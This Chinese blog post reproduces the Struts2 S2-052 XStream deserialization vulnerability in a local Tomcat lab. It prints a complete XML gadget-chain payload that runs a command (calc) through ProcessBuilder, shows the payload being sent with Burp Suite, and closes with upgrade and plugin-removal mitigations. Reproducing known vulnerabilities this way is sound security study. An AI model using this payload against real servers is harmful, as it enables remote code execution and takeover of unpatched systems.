struts2-052漏洞
0x00 struts2
struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
0x01 struts2-052漏洞
struts2-052漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞,构成远程代码执行。
0x02 环境搭建
这次漏洞使用windows系统做测试对象。
下载java并配置环境:
在java官网下载java1.8
然后添加到windows环境变量
下载tomcat并配置环境:
- 在tomcat官网下载tomcat并解压
- 然后添加到windows环境变量
下载存在漏洞的struts2框架版本:
在 http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 下载漏洞影响的最后版本2.5.12
解压后将struts2-rest-showcase.war复制到tomcat的webapps的目录下
更改/tomcat/conf中的server.xml,默认是8080,如果冲突我们可以将端口号更改到空闲端口,这里改到了12345
打开/tomcat/bin中的startup.bat,并通过浏览器访问页面。
0x03 payload生成
若本机拥有git环境,则使用
git clone https://github.com/mbechler/marshalsec.git
然后参考 https://github.com/mbechler/marshalsec.git 中的使用方法
来生成payload
如果没有,可以在网络中查找一段windows的payload,并将此段代码中command标签中的内容更改成想在cmd中执行的命令,这里使用了calc
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
具体构造命令时,某些字符无法直接输入,关于这部分的构造方法在 http://www.freebuf.com/vuls/147017.html
0x04 使用burpsuite进行截包重发
将burpsuite中的监听设置成127.0.0.1:8082
将浏览器的代理设置成手动代理,ip和端口号与burpsuite中设置相同
然后用浏览器访问 http://localhost:12345/struts2-rest-showcase
然后利用brupsuite截断一次提交的数据
将content-type改成application/xml,将body部分数据改为之前写好的payload
然后提交,成功弹出本机计算器
0x05 使用openvas对该存在漏洞的系统进行扫描
扫描结果如下:
0x06 危害
入侵者可以直接通过提交数据包对服务器进行操作,可以远程执行代码随意查看服务器内容,还可以通过命令写入木马、创建用户、留下后门。
0x07 应对方案
- 升级Struts到2.5.13最新版本
- 在不使用时删除Struts REST插件
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!